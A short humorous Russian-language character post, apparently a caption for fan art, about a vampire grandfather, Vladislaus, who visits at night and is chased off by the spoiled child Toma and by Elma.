Ночью в гости заглянул дед Владислаус, грустный, давно никого не ��усал.

Тома встретил его.

Тома вырос немного избалованным ребенком, залюбленный "отцами", которые пылинки с него сдували. Страха еще не познал и инстинкт самосохранения не родился вместе с ним, поэтому творит, что хочет и драконит кого поп��ло XDD еще и неряха в противовес отцу, который привереда нетерпящий грязь и которому от уборки плохо становится. Каждая смена подгузника для него была как испытание XD

После Томы деду досталось от Эльмы, которая владеет техникой бесконтактного боя. Забуллили деда XDDD

Ушел ни с чем(